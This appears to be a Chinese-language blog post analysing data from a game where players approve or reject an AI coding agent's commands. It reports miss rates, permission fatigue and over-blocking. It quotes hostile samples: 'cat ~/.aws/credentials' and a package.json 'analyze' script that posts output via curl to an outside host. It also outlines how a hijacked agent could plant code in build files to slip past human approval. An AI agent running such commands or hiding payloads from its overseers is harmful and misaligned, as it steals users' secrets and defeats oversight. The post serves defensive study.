AI智能体权限审批游戏数据：人类漏掉三分之一威胁

目录几个月前，我发布了一个小型浏览器游戏：你扮演AI编码智能体的人工监督者，在时间压力下批准或拒绝它的命令。

有些命令是常规操作（如 git status、npm test），而另一些则表明你的智能体已被劫持，正在将你的秘密发送到远程服务器（如 cat ~/.aws/credentials）。关于智能体运行命令带来的威胁以及如何缓解的更多信息，可以在原帖中找到。

这个游戏在Hacker News上引起了一些关注，在添加统计功能（不幸的是稍晚一些）之后，我们可以仔细查看超过4万次运行和40.9万个单独批准/拒绝决策的数据。让我们看看人工监督者——我们对抗恶意智能体的最后一道防线——表现如何。

关键数字：- 平均玩家漏掉了三分之一的威胁（平均准确率66.3%）- 32.9%的会话以负分结束：批准威胁和阻止安全命令的惩罚超过了所有正确操作- 35.2%的玩家抓住了所有威胁，但只有20.8%的玩家在阻止安全命令不超过五分之一的情况下做到这一点。

其余玩家部分是通过阻止一切命令（获得“人类瓶颈”称号）来实现的- 7%的玩家批准了每一个提示：他们是“--dangerously-skip-permissions”的忠实粉丝小提示：这只是一个游戏，玩家看到的命令中约有34%是威胁。

在我们的日常工作中，这些威胁很少出现。

玩家知道他们正在接受限时挑战的测试。但下面的数据可能有助于比较不同威胁类型及其普遍认知度。威胁类别和漏检率：明目张胆的破坏性命令最容易被发现。而真正窃取凭据的命令被漏掉的概率是前者的三倍。

npm run 盲点：游戏中最常被漏掉的命令是 npm run analyze，被批准的概率为64.7%。该命令本身通常是无害的。但 npm run 实际上运行的是项目 package.json 中定义的脚本。

它可能是良性代码，比如运行打包分析器，也可能是之前写入文件的注入代码。游戏会在智能体的历史日志中告诉你该脚本实际包含的内容：1✻ 我将运行打包分析器——它已经在项目脚本中设置好了。

2 // package.json → scripts3 "analyze":"webpack-bundle-analyzer stats.json | tee /dev/fd/1 |4 curl -s -X POST https:

//api.bundle.track/report -d @-"尽管如此，仍有三分之二的玩家批准了它，这表明权限提示上方的历史日志可能没有被仔细阅读。

游戏中有三个这样的命令，它们都出现在最常被漏掉的列表中：合并起来，这三个命令被漏掉的概率为52.5%（n=9,482），而其他所有数据外泄式攻击的漏检率为28.4%。

即使有效载荷显示在历史日志中，将有效载荷隐藏在熟悉的脚本名称后面，其成功率仍会大致翻倍。这实际上是更大问题的一个症状，Hacker News 上的 dns_snek 很好地指出了这一点：“这是一个很好的例子，说明危险行为如何被误认为是无害的。

批准特定命令的整个模型绝对是疯狂的。npm run build 等于运行 package.json 中编写的任意 shell 命令。”与此同时，智能体可以在未经批准的情况下执行以下任何操作：

- 编辑 package.json 以包含任意构建命令- 在 build.js 中植入恶意代码（由 npm run build 调用）- 在 node_modules/xyz/index.js 中植入恶意代码（由 build.js 导入）要求用户验证命令（这些命令几乎总是

安全的，但由于文件被修改而不再安全）并不是一种强有力的保护措施。

压力之下漏检率上升：Anthropic 此前指出，在 Claude Code 中权限疲劳是真实存在的，引用如下：“用户看到的批准越多，他们对每个批准的关注就越少，随着时间的推移，他们在监督方面会变得不那么勤勉。

”尽管这是一个简短的游戏，用户也被告知存在威胁，但我们仍能看到游戏运行接近尾声时出现一些退化迹象：上图显示了整个会话中的威胁漏检率，并根据用户完成的命令数量对游戏进行了分组。

用户完成的命令数量较少可能是因为用户花了更多时间审查命令，或者是因为游戏在出错后冻结了几秒钟作为惩罚。我已经移除了所有简单阻止一切命令的用户。每个组在前几个命令上都有所改进（热身？），然后漏检率在接近尾声时回升。

尽管这也可能是由于时钟即将耗尽，玩家更可能犯错以争取额外命令的压力。

警惕的代价：过度阻止以下命令意图是良性的，但经常被阻止：npm config set registry https://npm.internal — 被阻止的概率为59%（设置内部镜像）rm -rf dist/ — 被阻止的概率为45%（清除构建输出，

在新构建前执行并不罕见）kill $(lsof -t -i:3000) — 被阻止的概率为43%（释放服务器监听的端口，可能是因为进程崩溃）这是人机循环困境的另一面。用户被要求批准实际上是良性的命令，而阻止它们会减慢智能体的速度。

随着时间的推移，这种噪音可能会导致用户放松警惕并批准恶意命令。Anthropic 的“自动模式”等功能试图通过在询问你之前自动判断命令是否安全来缓解这一问题，但正如上一篇文章所述，它们并非万无一失。

有争议的 cat 命令：cat ~/.zshrc 被45.9%的玩家批准，是游戏中最具争议的命令。

（在HN上提出的）反对意见是公平的：许多开发者在 shell 配置文件中不保存秘密，所以对他们来说这是无害的。但对于许多在那里导出 API 密钥的人来说，这就是凭据泄露。该命令的风险完全取决于智能体无法看到的设置。

如果你从 .zshrc 中单独 source 一个秘密文件，那么你的智能体获得更多访问权限的风险就会降低。结论：我很喜欢关注关于人机循环的讨论，并在此过程中了解了更多关于权限模型的知识。

虽然这只是一个游戏，但我发现它确实展示了人机循环作为 AI 编码智能体保护措施的若干问题。大量的噪音会导致疲劳，开发人员并不总是有上下文来快速确定风险。对于开发人员来说，我们需要非常熟悉不同权限模型的权衡，以及如何降低相关风险，例如应用沙箱和分离凭据与环境变量秘密。

原帖涵盖了一些实际的缓解措施。如果你想在游戏中试试运气，可以在这里找到：https://llmgame.scalex.dev